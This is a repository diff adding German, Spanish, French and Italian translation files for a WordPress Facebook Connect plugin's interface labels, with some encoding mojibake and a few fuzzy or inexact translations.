+msgid "Community friends"
+msgstr "Community Freunde"
+
+#: community.php:32
+msgid "Community"
+msgstr "Community"
+
+#: community.php:32
+msgid "members"
+msgstr "Mitglieder"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "Voherige Seite"
+
+#: community.php:51
+msgid "Next page"
+msgstr "NÃ€chste Seite"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "Titel:"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "BegrÃŒÃungstext:"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Footer-Text:"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Einladungstext:"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Besucher Titel:"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Login-Nachricht:"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Mitgliedsnachricht:"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Max. Nutzer:"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Loginbutton:"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "VerÃ¶ffentliche diesen Kommentar auf Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Facebook Connector Optionen"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Facebook-Anwendungs Konfiguration"
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Facebook-Anwendungs Konfiguration"
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Gehe zur Facebook Developer Anwendung"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API SchlÃŒssel:"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Geheimnis:"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Automatische BestÃ€tigung:"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Aktiviere automatische Kommentargenehmigung"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Kommentar-Formular:"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Erlaube Nutzern Kommentare an Facebook zu senden."
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Sicherer Login:"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "Facebook Connect via SSL."
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Konfiguration aktualisieren"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Kommentar-Template"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "Kein aktives Facebook-Template. Bitte Template aktivieren oder ein neues Template erstellen."
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "Die Templates sind nicht mit Facebook synchronisiert, bitte schreibe den Template-Text und klicke auf \"Template Erzeugen\"."
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "ID des aktiven Facebook-Templates:"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "Template ID:"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Template Aktivieren"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Template LÃ¶schen"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Aktives Facebook Template"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "Einzeiliger Auszug:"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr "Kurz-Auszug Titel:"
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr "Kurz-Auszug Body:"
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr "Komplett-Story Titel:"
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "Komplett-Story Body:"
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "Template fÃŒr einzeiligen Auszug:"
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "Template fÃŒr Kurz-Auszug:"
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "Titel"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Body"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Template fÃŒr Komplett-Story:"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "Template Erzeugen"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "mehr..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Freunde einladen"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Mitglied werden!"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Bitte Freunde zum Einladen auswÃ€hlen."
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Benutzer Profil"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Benutzer Kommentare"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Status:"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Name:"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Nickname:"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Mitglied seit:"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "URL:"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "Ãber mich:"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-es_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-es_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-es_ES.po	(revision 44)
@@ -0,0 +1,273 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:47+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Javier Reyes <jreyes@sociable.es>\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "Amigos en la comunidad"
+
+#: community.php:32
+msgid "Community"
+msgstr "Comunidad"
+
+#: community.php:32
+msgid "members"
+msgstr "miembros"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "P&aacute;gina anterior"
+
+#: community.php:51
+msgid "Next page"
+msgstr "P&aacute;gina siguiente"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "T&iacute;tulo"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "Texto cabecera:"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Texto pie:"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Texto invitar:"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Texto visitas:"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Texto login:"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Texto login:"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Max. fotos:"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Facebook Login:"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "Publicar el comentario en Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Configuraci&oacute;n de Facebook Connector"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "ConfiguraciÃ³n de la aplicaci&oacute;n Facebook:"
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Configuraci&oacute;n aplicaci&oacute;n Facebook:"
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Ir a la configuraci&oacute;n de aplicaciones de Facebook"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API Key (Clave API):"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Secret (Secreto):"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Aprobaci&oacute;n autom&aacute;tica:"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Habilitar aprobaci&oacute;n autom&aacute;tica de los comentarios"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Formulario de comentarios:"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Permitir el env&iacute;o de comentarios a Facebook."
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Login seguro:"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "Login de Facebook seguro mediante SSL."
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Actualizar configuracion"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Plantillas de comentarios"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "No hay ninguna plantilla activa, por favor active una plantilla de Facebook para el env&iacute;o de comentarios."
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "No existen plantillas de comentarios en Facebook, modifique la plantilla de ejemplo y presione el bot&oacute; crear plantilla."
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "ID de plantilla activa:"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "ID de la plantilla:"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Activar plantilla"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Borrar plantilla"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Plantilla de Facebook activa"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "Plantilla de una l&iacute;nea:"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr "T&iacute;tulo plantilla corta:"
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr "Cuerpo de plantilla corta:"
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr "T&iacute;tulo plantilla larga:"
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "Cuerpo plantilla larga:"
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "Plantilla de una l&iacute;nea (one line):"
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "Plantilla corta (Short storie):"
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "T&iacute;tulo"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Cuerpo"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Plantilla larga (full storie):"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "Crear plantilla"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "ver m&aacute;s..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Invita a tus amigos!"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Visitar el sitio"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Seleccionar los amigos a los que quieres invitar"
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Perfil del usuario"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Comentarios del usuario"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Estado:"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Nombre:"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Alias:"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Miembro desde:"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "Direcci&oacute;n:"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "Sobre mi:"
+
+#~ msgid "The WordPress fbconnect plugin is not active."
+#~ msgstr "El plugin de Facebook Connect para Wordpress no est&aacute; activo."
+#~ msgid "fbconnect options"
+#~ msgstr "Opciones de FBConnect"
+#~ msgid "Facebook Connector"
+#~ msgstr "Facebook Connector"
+#~ msgid "At least one of Facebook Connector options was NOT updated"
+#~ msgstr ""
+#~ "Al menos una de las opciones de Facebook Connector no se ha actualizado."
+#~ msgid "Facebook Connector options updated"
+#~ msgstr ""
+#~ "Configuraci&oacute;n de Facebook Connector actualizada correctamente"
+#~ msgid "Error updating Facebook templates!"
+#~ msgstr "Se ha producido un error al actualizar las plantillas de Facebook!"
+#~ msgid "Facebook templates updated! Templates ID:"
+#~ msgstr "Plantillas de Facebook actualizadas!, ID de la platilla:"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-fr_FR.po	(revision 44)
@@ -0,0 +1,256 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Javier Reyes <jreyes@sociable.es>\n"
+"Language-Team: dismoioÃ¹ <geomagilles@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "Amis dans la communautÃ©"
+
+#: community.php:32
+msgid "Community"
+msgstr "CommunautÃ©"
+
+#: community.php:32
+msgid "members"
+msgstr "membres"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "Page prÃ©cÃ©dente"
+
+#: community.php:51
+msgid "Next page"
+msgstr "Page suivante"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "Titre :"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "Msg de bienvenue :"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Msg de bas de page :"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Msg d'invitation :"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Titre des visiteurs :"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Msg de login :"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Msg membre :"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Nb max. d'utilisateurs :"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Bouton de login :"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "Publier ce commentaire sur Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Options de Facebook Connector"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Configuration sur Facebook de l'application "
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Config. sur Facebook de l'app."
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Aller sur l'app. Facebook Developer"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API Key :"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Secret :"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Approbation automatique :"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Permettre l'approbation automatique des commentaires"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Formulaire de commentaire :"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Permettre aux utilisateurs de publier leur commentaire sur Facebook"
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Login sÃ©curisÃ© :"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr ""
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Mise Ã  jour de la configuration"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Gabarit des commentaires"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "Pas de gabarit actif, merci d'en crÃ©er un nouveau ou d'en activer un ! "
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "Gabarit non synchronisÃ© avec Facebook, Ã©crivez le texte du gabarit et pressez \"crÃ©er le gabarit\" !"
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "Activer le Facebook template ID"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "Template ID :"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Activer le gabarit"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Effacer le gabarit"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Gabarit Facebook actif"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "ActualitÃ© d'une ligne"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr ""
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr ""
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr ""
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr ""
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "Titre"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Corps"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Gabarit d'une actualitÃ© complÃšte"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "CrÃ©er un gabarit"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "voir plus..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Invitez vos amis"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Devenez membre )"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Choisissez les amis que vous voulez inviter."
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Profil"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Commentaires"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Status :"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Nom :"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Pseudo :"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Membre depuis :"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "URL :"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "A propos de moi :"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-it_IT.po	(revision 44)
@@ -0,0 +1,302 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-01-06 12:22+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Valentino <valentino.aluigi@gmail.com>\n"
+"Language-Team: Maverick <valentino.aluigi@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: C:\\Programmi\\xampp\\htdocs\\facebook-connect\n"
+"X-Poedit-SearchPath-0: C:\\Programmi\\xampp\\htdocs\\facebook-connect\n"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/community.php:18
+#, fuzzy
+msgid "Community friends"
+msgstr "Invita i tuoi amici"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/community.php:32
+msgid "Community"
+msgstr "Community"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/community.php:32
+#, fuzzy
+msgid "members"
+msgstr "Membro da:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/community.php:48
+msgid "Previous page"
+msgstr "Pagina precedente"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/community.php:51
+msgid "Next page"
+msgstr "Pagina successiva"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbconnect_widget.php:42
+msgid "view more..."
+msgstr "E tutti gli altri..."
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:296
+#, fuzzy
+msgid "Title:"
+msgstr "Titolo"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "Messaggio di benvenuto:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "PiÃš pagina:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Messaggio di invito:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Titolo visitatori:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Messagio di login:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:302
+#, fuzzy
+msgid "Member msg:"
+msgstr "Membro da:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Numero massimo utenti:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Pulsante di login:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "Pubblica questo commento su Facebook"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:56
+msgid "The WordPress fbconnect plugin is not active."
+msgstr "Il plugin fbconnet non Ãš attivo."
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:57
+#, php-format
+msgid "Check %sfbconnect Options%s for a full diagnositic report."
+msgstr "Controlla le %sopzioni di sfbconnect%s per un report diagnostico completo."
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:68
+#, fuzzy
+msgid "fbconnect options"
+msgstr "Opzioni di Facebook Connector"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:68
+#, fuzzy
+msgid "Facebook Connector"
+msgstr "Opzioni di Facebook Connector"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:110
+msgid "At least one of Facebook Connector options was NOT updated"
+msgstr "Al meno una opzione di Facebook Connector NON Ãš stata aggiornata"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:112
+#, fuzzy
+msgid "Facebook Connector options updated"
+msgstr "Opzioni di Facebook Connector"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:133
+msgid "Error updating Facebook templates!"
+msgstr "Errore durante l'aggiornamento dei templates Facebook!"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:135
+msgid "Facebook templates updated! Templates ID:"
+msgstr "Templated Facebook aggiornati! Templates ID:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Opzioni di Facebook Connector"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Configurazione di Facebook Application"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Conf. App. Facebook"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Visita Facevook Developer App"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API Key:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Secret:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Approvazione Automatica:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Abilita l'auto-approvazione dei commenti"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Commenti:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Permetti di inviare i commenti degli utenti su Facebook."
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Login protetto:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "Colelgati a Facebook tramite SSL."
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Aggiorna Configurazione"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Templates dei commenti"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "Nessun template Facebook attivo. Attivare un tempate o crearne uno nuovo!"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "Templates non sincronizzati con Facebook. Scrivi il testo per i templates e clicca \"crea templates\"!"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "ID del template Facebook attivo:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "Template ID:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:257
+#, fuzzy
+msgid "Activate template"
+msgstr "Crea Template"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:258
+#, fuzzy
+msgid "Delete template"
+msgstr "Crea Template"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Template Facebook attivo"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:263
+#, fuzzy
+msgid "One line story:"
+msgstr "Template per le one-line stories:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:264
+#, fuzzy
+msgid "Short story title:"
+msgstr "Template per le short-stories:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:265
+#, fuzzy
+msgid "Short story body:"
+msgstr "Template per le short-stories:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:266
+#, fuzzy
+msgid "Full story title:"
+msgstr "Template per le full-stories:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "Corpo della full-story:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "Template per le one-line stories:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "Template per le short-stories:"
+
